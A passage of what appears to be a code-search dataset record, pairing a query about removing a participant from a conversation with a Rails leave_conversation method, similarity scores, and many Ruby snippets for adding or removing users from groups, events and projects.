params[:members].each do |member_id|\n user = User.find(member_id)\n project.users << user unless project.users.include?(user) \n end\n \n respond_to do |format|\n format.html { redirect_to project_path(@project), notice: 'members were successfully added.' }\n format.json { render json: @project, status: :created, location: @project }\n end\n end", "def join\n if (not @event.users.include? current_user)\n EventUser.create(user: current_user, event: @event)\n redirect_to events_path, notice: \"You are now participating.\"\n else\n ev = EventUser.find_by user: current_user, event: @event\n ev.destroy\n redirect_to events_path, notice: \"Removed you from the event.\"\n end\n end", "def participants=(value)\n @participants = value\n end", "def participants=(value)\n @participants = value\n end", "def addUserToGroup\n @user_to_add = User.find(params[:user_to_add])\n @current_group = Group.find_by_id(session[:current_group_id])\n @user_to_add.groups << @current_group\n redirect_to findAvailableUsers_url, notice: 'User was successfully added.'\n end", "def create\n @trip = Trip.new(trip_params)\n @trip.user = @current_user\n @trip.users.append(current_user)\n respond_to do |format|\n if @trip.save\n\n\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render json: {message: 'Utworzono tripa.', admin_id: @trip.user_id}, status: :ok }\n else\n format.html { render :new }\n format.json {\n render json:\n {errors: @trip.errors}, status: :unprocessable_entity \n }\n end\n end\n end", "def add(participant)\n participants.add(participant)\n participant.order = self\n\n participant\n end", "def add_followingcontest\n current_user.sk.followed_contests << @contest unless current_user.sk.followed_contests.exists?(@contest.id)\n\n flash[:success] = \"Vous recevrez dorénavant un e-mail de rappel un jour avant la publication de chaque problème de ce concours.\"\n redirect_to @contest\n end", "def create\n @video_call = VideoCall.new(video_call_params)\n authorize @video_call\n @video_call.participants.build(user: current_user)\n respond_to do |format|\n if @video_call.save\n format.html { redirect_to @video_call, notice: \"Please wait here till the doctor joins.\" }\n format.json { render :show, status: :created, location: @video_call }\n else\n format.html { render :new }\n format.json { render json: @video_call.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_user(user)\n self.users.create(id: user.id)\n end", "def add\n params[:friends].each do |email|\n friend = User.find_by_email(email)\n next unless friend.present?\n\n # Check the inverse friendship and add if necessary\n friendship = Friendship.find_by_user_id_and_friend_id(friend.id, current_user.id)\n unless friendship.present?\n inverse_friendship = friend.friendships.build(friend_id: current_user.id)\n if inverse_friendship.save\n puts \"Added friendship for #{friend.name} (#{friend.id}) and #{current_user.name} (#{current_user.id})\"\n end\n end\n end\n\n render json: { success: true }\n end", "def ab_add_participant(_experiment, _alternative, _identity)\n raise \"Not implemented\"\n end", "def add_to_group\n ids = params[:ids]\n group = Group.find(params[:group_id])\n if ids.present?\n users = User.where(id: ids)\n users.each do |u|\n GroupUser.create(user: u, group: group, created_by: current_user)\n if current_user != u\n u.notify(\n \"#{current_user.to_s} has added you to user group: #{group.name}\",\n group, \n \"group\"\n )\n else\n group.admin.each do |admin|\n admin.notify(\n \"#{current_user.to_s} has requested to be added to the user group: #{group.name}\",\n group,\n \"group\"\n )\n end\n end\n end\n if users.count === 1 && users.first === current_user\n flash[:notice] = \"Request sent!\"\n else\n flash[:notice] = \"#{\"Invitation\".pluralize(users)} sent!\"\n end\n end\n respond_to do |format|\n format.json { render :json => {}, :status => :ok }\n format.html {\n if users\n flash.now[:success] = \"Group membership pending for #{users.map(&:username).join(', ')}.\"\n end \n redirect_to group_path(group) \n }\n end\n end", "def add_user(newuser)\n @group_users.push(newuser)\n end", "def participants_added # :nodoc:\n @properties[ADDED].map { |id| @context.users[id] }\n end", "def create\n @idea = Idea.new(idea_params)\n @idea.name = params[:name]\n @idea.user_id = session[:id]\n @@participants = @@participants.uniq\n @@participants.each do |p|\n \t@idea.users << p\n end\n @idea.users << User.find_by(id: session[:id])\n respond_to do |format|\n if @idea.save\n @@participants.each do |p|\n make_participant(@idea.id, p.id, 0)\n end\n make_participant(@idea.id, session[:id], 2)\n format.html { redirect_to controller: :ideas, action: :index }\n format.json { render :show, status: :created, location: @idea }\n else\n reset_participants\n format.html { render :new }\n format.json { render json: @idea.errors, status: :unprocessable_entity }\n end\n end\n end", "def invite(user)\n participation = @tandem.participations.create(\n user:user,\n token: generate_token\n )\n\n send_invitation_mail participation\n true\n end", "def create\n @activity_participant = Activity::Participant.new(activity_participant_params)\n @activity_participant.user = current_user\n @activity_participant.activity = Activity.find_by_id(params[:activity_id])\n\n respond_to do |format|\n if @activity_participant.save\n format.html { redirect_to activity_participants_url, notice: \"Participant was successfully created.\" }\n format.json { render :show, status: :created, location: @activity_participant }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @activity_participant.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_participant(participant)\n # Assume we are in a tournament, we'll want to look at the seeds and slot the higher seed as home\n self.logger.info(\"Adding #{participant.name} to match ##{self.id}\")\n self.logger.error(\"Cannot add participants when match has scores already\") and raise if self.home_score > 0 || self.away_score > 0\n self.logger.error(\"Cannot add participants; no free slots in match\") and raise if self.home_participant && self.away_participant\n\n current_participant = self.home_participant || self.away_participant\n current_seed = current_participant ? TeamSeason.where(participant: current_participant, season_id: self.season_id).first.division.to_i : nil\n participant_seed = TeamSeason.where(participant: participant, season_id: self.season_id).first.division.to_i\n if !current_seed || participant_seed < current_seed\n self.home_participant = participant\n self.away_participant = current_participant\n else\n self.home_participant = current_participant\n self.away_participant = participant\n end\n self.save!\n end", "def add_contact\n\t\tcheck_if_myself(params[:user_id])\n\t\tuser = User.find(params[:user_id])\n\t\tto_add = User.find(params[:to_add_id])\n\t\tif to_add && user != to_add && !Contact.where(from_user: user.id).map {|c| c.to_user.id}.include?(to_add.id)\n\t\t\tuser.contacts.push(to_add)\n\t\t\tuser.save\n\t\t\tredirect_to contacts_page_path(id: params[:user_id])\n\t\telse\n\t\t\traise ActionController::RoutingError, 'Not Found'\n\t\tend\n\tend", "def create\n \n @participant = Participant.new(:remote_ip => params[:participant][:remote_ip],\n\t :user_id => params[:participant][:user_id], \n\t\t\t\t\t\t\t\t\t:contact_describe_id=> params[:participant][:contact_describe_id], \n\t\t\t\t\t\t\t\t\t:instructions => params[:participant][:instructions], \n\t\t\t\t\t\t\t\t\t:goodwill => params[:participant][:goodwill], \n\t\t\t\t\t\t\t\t\t:age_18_or_more => params[:participant][:age_18_or_more],\n\t\t\t\t\t\t\t\t\t:created_at => Time.current, \n\t\t\t\t\t\t\t\t\t:updated_at => Time.current,\n\t\t\t\t\t\t\t\t\t:date_deleted => Time.current) \n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\n respond_to do |format|\n if @participant.save\n format.html { redirect_to @participant, notice: 'Participant was successfully created.' }\n format.json { render :show, status: :created, location: @participant }\n else\n format.html { render :new }\n format.json { render json: @participant.errors, status: :unprocessable_entity }\n end\n end\n end", "def join\r\n if @trip.participants.include?(current_person)\r\n redirect_to(@trip, :notice => \"You are already a participant in the #{@trip.name}.\")\r\n return\r\n elsif @trip.organizers.include?(current_person) && request.post?\r\n @trip.participants << current_person\r\n redirect_to(manage_membership_trip_url(@trip), :notice => \"You are now a participant in the #{@trip.name}.\")\r\n else\r\n @token = params[:token]\r\n invitation = Invitation.find_by_token(@token)\r\n if invitation.nil?\r\n redirect_to(person_root_url, :error => \"The invitation link you followed is invalid.\")\r\n return\r\n end\r\n \r\n if request.post?\r\n invitation.accept(current_person)\r\n redirect_to(manage_membership_trip_url(@trip), :notice => \"You are now a participant in the #{@trip.name}.\")\r\n end\r\n end\r\n end", "def create\n \n @mission = Mission.new(mission_params)\n \n #assign users to mission\n if params[:user_ids].present?\n user = params[:user_ids].delete_if{ |x| x.empty? }\n @mission.users << User.find(params[:user_ids]) \n end\n \n \n respond_to do |format|\n if @mission.save\n format.html { redirect_to [:admin, @mission], notice: 'Mission was successfully created.' }\n format.json { render action: 'show', status: :created, location: @mission }\n else\n format.html { render action: 'new' }\n format.json { render json: @mission.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_user(user)\n @users << user\n end", "def create\n @participant = Participant.new(params[:participant])\n\n respond_to do |format|\n if @participant.save\n AuditTrail.audit(\"Participant #{@participant.fullname} created by #{current_user.login}\", edit_participant_url(@participant))\n flash[:notice] = \"Participant #{@participant.fullname} was successfully created.\"\n # TODO: is this right? was new_user_path for this participant; test didn't match\n format.html { redirect_to participants_path }\n else\n flash[:error] = @participant.errors.full_messages.join(\", \")\n format.html { render :action => \"new\" }\n format.xml { render :xml => @participant.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @participant = Participant.new(params[:participant])\n\n respond_to do |format|\n if @participant.save\n AuditTrail.audit(\"Participant #{@participant.fullname} created by #{current_user.login}\", edit_participant_url(@participant))\n flash[:notice] = \"Participant #{@participant.fullname} was successfully created.\"\n # TODO: is this right? was new_user_path for this participant; test didn't match\n format.html { redirect_to participants_path }\n else\n flash[:error] = @participant.errors.full_messages.join(\", \")\n format.html { render :action => \"new\" }\n format.xml { render :xml => @participant.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_new\n @user = User.new(params[:user])\n @university = University.find(params[:university])\n \n if @user.save\n @university.users << @user\n record_activity(\"created new user: \" + @user.email)\n # Send an email notification to the user\n UserMailer.welcome_email(@user).deliver\n redirect_to add_user_path, :notice => \"User created successfully\"\n else\n render 'add'\n end\n end", "def add_participant_list(list)\n participants_list\n participants_list_name.set list[:name]\n participants_list_permissions.select list[:visible]\n \n create\n end", "def add_friend\n # check if this friend isnt't to our list friend\n if params[:user_id].to_i == params[:friend_id].to_i \n render json: {\n message: \"Not yourself\"\n }, status: 400\n else\n @current_user = User.find(params[:user_id])\n if @current_user.friend.find_by(friend: params[:friend_id])\n render json: {\n message: \"#{User.find(params[:user_id]).name} can't be added, You are friend with this user\",\n errors: {\n error_code: \"\",\n error_description: \"\"\n }\n }, status: 401\n else\n # add friend\n puts \"Starting adding friend ...\"\n @new = @current_user.friend.new(friend: params[:friend_id], status: :pending)\n if @new.save\n render json: {\n message: \"#{User.find(params[:user_id]).name} added as friend\"\n }, status: 201\n else\n render json: {\n message: @new.errors.messages\n }, status: 401\n end\n end\n end\n\n end", "def add_user\n if @experiment.add_user(params[:user_id].to_i)\n redirect_to sti_experiment_path(@project.id, @phase.id, @experiment.type, @experiment), notice: 'User was successfully added'\n else\n redirect_to sti_experiment_path(@project.id, @phase.id, @experiment.type, @experiment), notice: 'User cannot be added'\n end\n end", "def create\n if user_interest_params && @current_user.id == user_interest_params[:user_id].to_i #only create them if the current user = the parameter user\n \n @user_id = user_interest_params[:user_id]\n\n count = 1\n interests_to_add = does_interest_exist(user_interest_params) #only add interests that don't exist yet\n \n if interests_to_add.length >= 1 #only run this if there are interests to add\n interests_to_add.each do |interest|\n @user_interest = UserInterest.new(user_id: @user_id, interest_id: interest)\n \n if @user_interest.save\n if count == interests_to_add.length #show success only for the last one\n render json: { \n status: 200,\n message: \"Successfully added user interests\",\n user_interests: @user_interest\n }.to_json\n end\n else\n render json: {\n status: 500,\n message: \"Couldn't save user interests\",\n errors: @user_interest.errors\n }.to_json\n end\n count += 1\n end\n else #if there are no interests to add, state so.\n render json: {\n status: 200,\n message: \"No interests to add\"\n }.to_json\n end\n else\n render json: {\n status: 400,\n message: \"Invalid authentication\"\n }.to_json\n end\n end", "def add_user(user)\n group_members.create(group: self, user: user, accepted: DateTime.now)\n end", "def conversation_params\n params.permit(:participants, participants: [])\n end", "def conversation_params\n params.require(:conversation).permit(:participant_id).merge(user_id: current_user.id)\n end", "def add_request_token\n @user = User.find(current_user.id)\n new_token = params[:request_token]\n old_array = @user.invite_ids.dup\n new_array = old_array.push(new_token)\n\n @user.invite_ids = new_array\n @user.save\n render nothing: true\n end", "def add_existing_users(users)\n users.map do |user|\n @current_course.course_users.build(user: user[:user], name: user[:name],\n workflow_state: :approved, creator: @current_user,\n updater: @current_user)\n end\n end", "def join\n @event = Event.find(params[:event_id])\n if (params[:type] == \"invite\")\n @uids = params[:uids]\n @uid_array = []\n @uid_array = @uids.split(\",\")\n\n @motlee_users = []\n @non_motlee_users = []\n\n @uid_array.each do |uid|\n motlee_user = User.where(:uid => uid).first\n\n if motlee_user.nil?\n token = params[:access_token]\n event_id = params[:event_id]\n Resque.enqueue(ProcessNewUserInvite, token, event_id, uid) \n else\n # User is already a part of Motlee\n # Add user to array of Motlee users\n @motlee_users << uid\n \n # Now we check to see if the user has already been added to the event\n @attendee = Attendee.where(\"user_id = ? AND event_id = ?\", motlee_user.id, params[:event_id]).first\n if @attendee.nil?\n # If user has not been added, create new Attendee object\n @attendee = Attendee.create(:user_id => motlee_user.id, :event_id => params[:event_id], :rsvp_status => 1)\n if (motlee_user.id != current_user.id)\n Resque.enqueue(AddEventNotification, motlee_user.id, params[:event_id], current_user.id)\n end\n end\n end\n end \n else\n @attendee = Attendee.create(:user_id => current_user.id, :event_id => @event.id, :rsvp_status => 1)\n end\n # Render a response so the devices are happy\n @event.update_attributes(:updated_at => Time.now)\n render :json => @event.as_json({:methods => [:owner, :attendee_count], \n :include => {:photos => {:include => {:comments => {}, :likes => {}}}, \n :people_attending => {:only => [:id, :uid, :name, :sign_in_count]}}})\n end", "def invite_new_users(users)\n invitations = users.map do |user|\n @current_course.invitations.build(name: user[:name], email: user[:email])\n end\n validate_new_invitation_emails(invitations)\n end", "def add_collaborator_to_add_task\n users_to_add = params[:already_added_users].split(\",\") - params[:deleted_users].split(\",\")\n if !params[:collaborator_list].blank?\n display_add_collaborator_err_msg\n else\n coll_list,list = form_collaborators_list\n for user in coll_list.split(\",\").compact\n if user != \"\"\n user_details = find_user_details(user.strip)\n list=list+\"<div class='commentcoll1'><div class='commentimagecol'><img width='36' height='42' src='#{display_image_for_user_add_collab(user_details.id)}'></div><div class='commentbox'><a href='#'> </a></div> <div class='namecol'>#{find_collaborator_name_to_display(user_details)}</div></div>\"\n end\n end\n list = list + \"<input type='hidden' name='add_coll_list' value='#{coll_list}' id='add_coll_list'/>\"\n m1 = (!params[:document_id].nil? and !params[:document_id].blank?) ? \"document_id=#{params[:document_id]}&\" : \"\"\n replace_collaborators_list(m1,list,coll_list)\n end\n end", "def add_friend(user, destination_user)\n manage_friend user,destination_user, 'added'\n end", "def add_members # :norobots:\n pass_query_params\n if @project = find_or_goto_index(Project, params[:id].to_s)\n @users = User.all(:order => \"login, name\")\n if !@project.is_admin?(@user)\n redirect_to(:action => 'show_project', :id => @project.id,\n :params => query_params)\n elsif !params[:candidate].blank?\n @candidate = User.find(params[:candidate])\n set_status(@project, :member, @candidate, :add)\n end\n end\n end", "def setParticipants(participants)\r\n\t\t\t\t\t@participants = participants\r\n\t\t\t\tend", "def create\n @task = Task.new(task_params)\n @task.users << current_user\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_user(data)\n result = @client.api_request(\n :method => \"usergroup.massAdd\", \n :params => {\n :usrgrpids => data[:usrgrpids],\n :userids => data[:userids]\n }\n )\n result ? result['usrgrpids'][0].to_i : nil\n end", "def create\n @event = current_user.created_events.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n\n @event.invitees_email.split(',').each do | user_email |\n user = User.find_by(email: user_email)\n @event.invitees << user\n end\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n\n invited_users = InvitedUser.where(email: @user.email)\n invited_users.each do |invited_user|\n Message.create(sender_id: 1, receiver_id: invited_user.inviter.id, title: \"Your friend has just joined\", content: \"I have just joined to TennisBuddy World! Thank you for inviting me. #{@user.full_name}\")\n end\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @attention = Attention.new(attention_params)\n # @attention.participants = params[:participants]\n # @attention.responsible = params[:responsible]\n # @attention.nro_involved = params[:participants].count + 1\n\n # respond_to do |format|\n # if @attention.save\n # format.html { redirect_to @attention, notice: 'Attention was successfully created.' }\n # format.json { render :show, status: :created, location: @attention }\n # else\n # format.html { render :index }\n # format.json { render json: @attention.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def notify_users before_user_ids\n users_removed = before_user_ids - @roster.users.ids\n users_added = @roster.users.ids - before_user_ids\n\n # users added\n User.find(users_added).each do | u |\n @roster.send_welcome_message u\n i = @roster.invites.find_by :user => u\n NotificationWorker.perform_async(i.id, 'Invite', 'Notifications::EventInviteNotification', 'invited') if i.present?\n end\n\n # users removed\n User.find(users_removed).each do | u |\n @roster.send_removed_message u\n end\n end", "def invite_users\n if GroupsController.group_owner? current_user.id, params[:id]\n set_group\n params[:users].each do |email|\n user = User.find_by_email(email) # TODO: only possible because email is unique. Should make magic assist to return user id's\n @group.users << user unless @group.users.include? user or user.nil?\n end unless params[:users].nil?\n respond_to do |format|\n format.html { redirect_to group_path(@group), alert: 'Invited users successfully.' }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to groups_path, alert: \"Not invited. You are not the group owner\" }\n format.json { render json: \"Only owners can add users to the respective group\", status: :unauthorized}\n end\n end\n end", "def create\n @interview = Interview.new(interview_params)\n params[:interview][:participant_ids].each do |participant_id|\n unless participant_id.empty?\n participant = Participant.find(participant_id)\n @interview.participants << participant\n end\n end\n respond_to do |format|\n if @interview.save\n d = @interview.interviewDate\n t = @interview.startTime\n start = DateTime.new(d.year,d.month,d.day,t.hour,t.min,t.sec,t.zone).utc.to_i\n current = Time.now.utc.to_i\n participants = @interview.participants\n # ReminderMailer.sample_email(\"aswanth@interviewbit.com\").deliver_now\n # HardWorker.perform_in((start-current-1800).seconds,participants)\n # puts participants[0].email, participants[1].email\n emails = []\n participants.each do |p|\n emails += [p.email]\n ReminderMailer.created_email(p.email).deliver_now\n end\n puts emails\n # HardWorker.perform_at(2.seconds,emails)\n HardWorker.perform_at((start-current-1800).seconds,emails)\n format.html { redirect_to @interview, notice: 'Interview was successfully created.' }\n format.json { render :show, status: :created, location: @interview }\n else\n format.html { render :new }\n format.json { render json: @interview.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proj = current_user.projs.build(proj_params)\n\n# @proj.owner =current_user.id assigns current user as the owner of the project being created\n\n @proj.owner=current_user.id\n @users = User.where(:id => params[:add_user])\n\n @proj.users << @users\n respond_to do |format|\n if @proj.save\n format.html { redirect_to @proj, notice: 'Proj was successfully created.' }\n format.json { render :show, status: :created, location: @proj }\n else\n format.html { render :new }\n format.json { render json: @proj.errors, status: :unprocessable_entity }\n end\n end\n\n rescue ActiveRecord::RecordNotUnique\n\n # puts \"INVALID\"\n flash[:notice]='User already a member'\n\n redirect_to(:back)\n\n end" ]
[ "0.7643294", "0.7124458", "0.7001229", "0.68382394", "0.6800617", "0.6722664", "0.6548295", "0.6525721", "0.6512752", "0.638485", "0.63684577", "0.6291235", "0.62403136", "0.6214687", "0.6189608", "0.6174519", "0.61706316", "0.6160917", "0.6121028", "0.60921985", "0.60032094", "0.59667015", "0.59609514", "0.59181094", "0.5904378", "0.59027535", "0.58761334", "0.5854093", "0.5812306", "0.5811993", "0.58057404", "0.5788532", "0.57249355", "0.5724117", "0.57199913", "0.5713442", "0.57088155", "0.5695034", "0.5690616", "0.5687713", "0.5684381", "0.5682338", "0.56736475", "0.56606734", "0.5644188", "0.56410825", "0.5638193", "0.56194353", "0.560761", "0.5606561", "0.5601183", "0.55897874", "0.55897874", "0.5586696", "0.5585377", "0.55781144", "0.5571477", "0.5568833", "0.55642855", "0.5562354", "0.55601287", "0.5552092", "0.55475414", "0.55361813", "0.55339545", "0.5532246", "0.55305195", "0.55252194", "0.5521966", "0.55094546", "0.5482672", "0.5480729", "0.5474716", "0.5473887", "0.5473887", "0.54710233", "0.5470287", "0.54592395", "0.54567343", "0.54525554", "0.5449006", "0.5448548", "0.5447468", "0.54443455", "0.54396576", "0.5431986", "0.54300195", "0.542192", "0.5407942", "0.5406291", "0.53994036", "0.5391791", "0.53845805", "0.5382958", "0.5379841", "0.53775364", "0.5366175", "0.5365852", "0.5363688", "0.53621536" ]
0.8498038
0
remove a participant from current conversation user_id: user id who is leaving the group
def leave_conversation(_user_id) _updated_by = updated_by self.updated_by = nil conversation_members.where(user_id: _user_id).take.destroy! self.updated_by = _updated_by end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_participant(user) # :nodoc:\n id = user.to_s.downcase\n unless @participant_ids.include?(id)\n logger.warning(\"Attempted to remove a participant who was not in the wavelet(#{@id}): #{id}\")\n return nil\n end\n\n # Allow string names to be used as participant.\n user = @context.users[id]\n\n unless user.robot?\n logger.warning(\"Attempted to remove a non-robot from wavelet(#{@id}): #{id}\")\n return nil\n end\n\n if user == @context.robot\n return remove_robot\n end\n\n @context.add_operation(:type => Operation::WAVELET_REMOVE_PARTICIPANT,\n :wave_id => @wave_id, :wavelet_id => @id, :property => user)\n @participant_ids.delete id\n \n user\n end", "def remove_participant\n user = self.load_user(params)\n meeting = self.load_meeting(params)\n participant_ids = params[\"participant_ids\"]\n\n if user != nil and meeting != nil and participant_ids.length > 0\n participant_ids.each do |participant_id|\n if meeting.participants.exists?(participant_id)\n # remove all the participant's votes from each suggestion\n meeting.suggestions.each do |suggestion|\n vote = Vote.where(:voter_id => participant_id, :suggestion_id => suggestion.id)\n if vote != nil\n suggestion.votes.delete(vote)\n end\n end\n meeting.participants.delete(User.find(participant_id))\n end\n end\n self.send_ok\n else\n self.send_error 401\n end\n end", "def remove(user)\n GroupMember.new(:group_id => id, :member_id => user.id).delete\n end", "def leave_participant(resource_id)\n http.delete(participants_endpoint(resource_id)) do |response|\n true\n end\n end", "def remove_user!( user )\n user.remove_group!( self )\n end", "def remove_user(user)\n group_members.find_by(group: self, user: user).destroy\n end", "def remove_user!(current_user, user)\n if(!user_exists?(current_user))\n raise SecurityError.new \"No Permissions\"\n end\n\n current_user_role = participants.find_by(user_id: current_user.id)\n if super_admin == current_user || current_user_role.member_type == Course.roles[\"admin\"]\n user = participants.find_by(user_id: user.id)\n if(user != nil)\n user.destroy\n end\n #participants.find_by(user_id: user.id).destroy\n return true\n end\n\n raise SecurityError.new \"No Permissions\"\n end", "def remove_group_member(team_id, user_id)\n delete(\"/groups/#{team_id}/members/#{user_id}\")\n end", "def remove\n @group_user.remove!\n respond_to do |format|\n flash[:notice] = 'Membership was cancelled.'\n format.html { redirect_to @group_user.group }\n format.xml { head :ok }\n end\n end", "def remove_collaborator\n @project = current_user.projects.find(params[:id])\n @collaborator = User.find(params[:collaborator_id])\n @project.users.delete(@collaborator)\n\n redirect_to project_path(@project), :alert => \"Supervisor is deleted successfully\"\n end", "def delete\n user = self.load_user(params)\n meeting = self.load_meeting(params)\n\n if user != nil and meeting != nil\n participants = meeting.participants\n meeting.participants.delete(participants)\n meeting.delete\n self.send_ok\n else\n self.send_error 401\n end\n end", "def delete_member\n @group = Group.find(params[:id])\n @user = User.find_by_id(params[:user_id])\n\n if @group.users.include?(@user)\n @group.users.delete(@user)\n @group.save\n flash[:notice] = \"Miembro borrado exitosamente.\"\n end\n\n redirect_to group_path(@group)\n end", "def unparticipate!(given_event)\n participations.find_by_participated_id(given_event.id).destroy\n end", "def remove_member(user)\n if (self.members.include?(user))\n self.memberships.find_by_user_id(user.id).destroy\n else\n raise GroupsManagement::UserIsNotMember, \"The user \" + user.email + \" is not a member of the group '\" + self.name + \"'.\"\n end\n \n end", "def remove(response)\n return unless valid_message?(response)\n\n if Lita::Authorization.remove_user_from_group(\n response.user,\n @user,\n @group\n )\n response.reply \"#{@user.name} was removed from #{@group}.\"\n else\n response.reply \"#{@user.name} was not in #{@group}.\"\n end\n end", "def remove_user\n group_id_param = params[:group_id]\n user_id_param = params[:user_id]\n\n if group_id_param.nil? || group_id_param.blank?\n render json: { error: 'group_id not specified.' }, status: :bad_request\n return\n end\n\n if user_id_param.nil? || user_id_param.blank?\n render json: { error: 'user_id not specified.' }, status: :bad_request\n return\n end\n\n user = User.find_by_id(user_id_param)\n if user.nil?\n render json: { error: \"Remove failed. Can't find user #{user_param}.\" }, status: :bad_request\n return\n end\n\n group = CanvasSpaces.GroupCategory.groups.find_by_id(group_id_param)\n if group.nil?\n render json: { error: 'No such group found.' }, status: :bad_request\n else\n if @current_user.account.site_admin? || group.leader_id == @current_user.id || @current_user.id == user.id\n if group.leader_id == user.id\n render json: { error: \"Can't remove user that is the leader of the group.\" }, status: :bad_request\n return\n end\n\n membership = group.group_memberships.where(user_id: user).first\n membership.workflow_state = 'deleted'\n membership.save\n render json: { message: 'Successfully removed user.' }, status: :ok\n else\n # doesn't have access to the group\n render json: { error: \"Can't remove user. Not owner or not adding self.\" }, status: :forbidden\n end\n end\n end", "def remove\n\t\t@user = User.find_by(id: params[:user_id])\n\t\tif !@user\n\t\t\tflash[:error] = \"User non esistente\"\n\t\t\t#redirect_to user_team_path current_user, @team\n\t\t\treturn\t\t\n\t\tend\n\t\tif @user != current_user\n\t\t\tflash[:error] = \"User non esistente\"\n\t\t\t#redirect_to user_team_path current_user, @team\n\t\t\treturn\n\t\tend\n\t\t@team = Team.find_by(id: params[:team_id])\n\t\tif !@team\n\t\t\tflash[:error] = \"Team non esistente\"\n\t\t\t#redirect_to user_team_path current_user, @team\n\t\t\treturn\n\t\tend\n\t\t@user_to_remove = User.find_by(id: params[:user])\n\t\tif !@user_to_remove\n\t\t\tflash[:error] = \"User da rimuovere non esistente\"\n\t\t\tredirect_to user_team_path current_user, @team\n\t\t\treturn\t\t\n\t\tend\n\t\tauthorize! :remove, @team, :message => \"Non sei autorizzato a rimuovere questo utente\"\n\t\tif is_in_team?(@user_to_remove,@team)\n\t\t\t@team.membro.where(user_id: @user_to_remove.id).destroy_all\n\t\t\t#redirect_to user_team_path current_user, @team\n\t\t\tflash[:success] = \"#{@user_to_remove.nick} è stato eliminato\"\n\t\t\treturn\n\t\tend\n\t\tflash[:error] = \"#{@user_to_remove.nick} non è presente nella squadra\"\n\t\t#redirect_to user_team_path current_user, @team\n\tend", "def remove_user( user )\n raise TypeError.new('not a user') unless user.is_a?(Ecore::User)\n user.remove_group(self)\n end", "def remove_user_from_group(user, group)\n\t\t\tend", "def remove_followingcontest\n current_user.sk.followed_contests.destroy(@contest)\n \n flash[:success] = \"Vous ne recevrez maintenant plus d'e-mail concernant ce concours.\"\n redirect_to @contest\n end", "def remove_recipient(data)\n channel_id = data['channel_id'].to_i\n channel = self.channel(channel_id)\n\n recipient_user = ensure_user(data['user'])\n recipient = Recipient.new(recipient_user, channel, self)\n channel.remove_recipient(recipient)\n end", "def delete\n membership = Membership.find_by(uuid: conversation_params[:uuid])\n convo = membership.conversation\n leave_message = convo.messages.create(text: \"Conversation has ended\", user_index: -1)\n MessagesChannel.broadcast_to convo, MessageSerializer.new(leave_message)\n membership.update(is_active: false) if membership\n create_or_join\n end", "def remove_user(user)\n @in_room = false if user == @bot\n @users.delete(user)\n end", "def delete_user(deluser_id)\n @group_users.delete_if { |item| item.user_id == deluser_id }\n end", "def remove( env, id, current_user )\n env.curation_concern.provenance_child_remove( current_user: current_user, child_id: id, event_note: 'BeforeAttachMembersActor' )\n end", "def supprimeParticipant(participant_nom)\n participant = self.recupNom(participant_nom)\n @participants.delete(participant)\n end", "def remove_event(event)\n participant_event = get_participant_event(event)\n\n if not participant_event.nil? and participant_event.role == \"creator\"\n event.route.destroy unless event.route.nil?\n event.destroy\n end\n end", "def echar(otro_user)\n participacions.find_by(user_id: otro_user.id).destroy\n end", "def leave\n\t\t@user = User.find_by(id: params[:user_id])\n\t\tif !@user\n\t\t\tflash[:error] = \"User non esistente\"\n\t\t\tredirect_to root_path\n\t\t\treturn\t\t\n\t\tend\n\t\tif @user != current_user\n\t\t\tflash[:error] = \"User non esistente\"\n\t\t\tredirect_to user_teams_path(current_user.id)\n\t\t\treturn\n\t\tend\n\t\t@team = Team.find_by(id: params[:id])\n\t\tif !@team\n\t\t\tflash[:error] = \"Team non esistente\"\n\t\t\tredirect_to user_teams_path(current_user.id)\n\t\t\treturn\n\t\tend\n\t\tauthorize! :leave, @team, :message => \"Non sei autorizzato ad abbandonare questa partita\"\n\t\t@team.membro.where(user_id: @user.id)[0].destroy\n\t\tflash[:success] = \"Ti sei eliminato con successo dalla squadra\"\n\t\tredirect_to user_teams_path(@user)\n\tend", "def remove\n @conference_session = ConferenceSession.find(params[:conference_session_id])\n (@presentation.update_attribute(:conference_session_id, nil)) if user_in_organizer_committee?\n redirect_to manage_presentations_conference_session_path(@conference_session)\n end", "def remove_from_group(group)\n self.memberships.find_by(group_id: group.id).destroy!\n end", "def remove_user\n msg = Message.new\n msg.result = false\n\n if user_department = UserDepartment.where(\"user_id = ? AND department_id = ?\",params[:user_id],params[:department_id]).first\n user_department.destroy\n msg.result = true\n msg.content = params[:user_id]\n end\n render :json=>msg\n end", "def destroy\n @participant = Participant.find(params[:id])\n\t\tif @participant.ganador_flag\n\t\t\t@ganador = Ganador.find_by_id_participante(@participant.id)\n\t\t\t@ganador.destroy\n\t\tend\n @participant.destroy\n\n respond_to do |format|\n format.html { redirect_to participants_path }\n format.json { head :no_content }\n end\n end", "def remove_user(user_id)\n\t\treturn if is_admin?(user_id)\n\t\tparty_list.delete(user_id)\n\t\tself.update_attribute(:party_list, party_list)\n\tend", "def remove_user_by_id(user_id)\n # ........\n end", "def remove_user_with_custom_field()\r\n remove_user_without_custom_field\r\n GroupsUserIndexed.find_by_group_id_and_user_id(@group.id, params[:user_id]).try!(&:destroy)\r\n end", "def remove_member(_team, _user)\n # stub\n end", "def remove(response)\n toggle_membership(response, 